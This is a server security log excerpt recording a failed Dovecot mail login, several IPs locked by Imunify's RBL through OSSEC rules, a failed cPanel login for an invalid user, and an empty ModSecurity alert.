2026-06-13 23:11:34 dovecot_login authenticator failed for H=wsip-68-225-58-8.pn.at.cox.net ([49.124.146.46]) [68.225.58.8]:37685: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.159.82
country_id: 690791
description:
Jun 13 23:11:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.159.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 23:12:47 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 13 23:13:05 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.188
country_id: 3865483
description:
Jun 13 23:16:43 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.134
country_id: 6290252
description:
Jun 13 23:17:03 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.134 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.212.225.47
country_id: 1880251
description:
[2026-06-13 23:17:21 +0000] info [cpaneld] 129.212.225.47 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: afrikimpact-media.tg.lct-togo.tg
description:


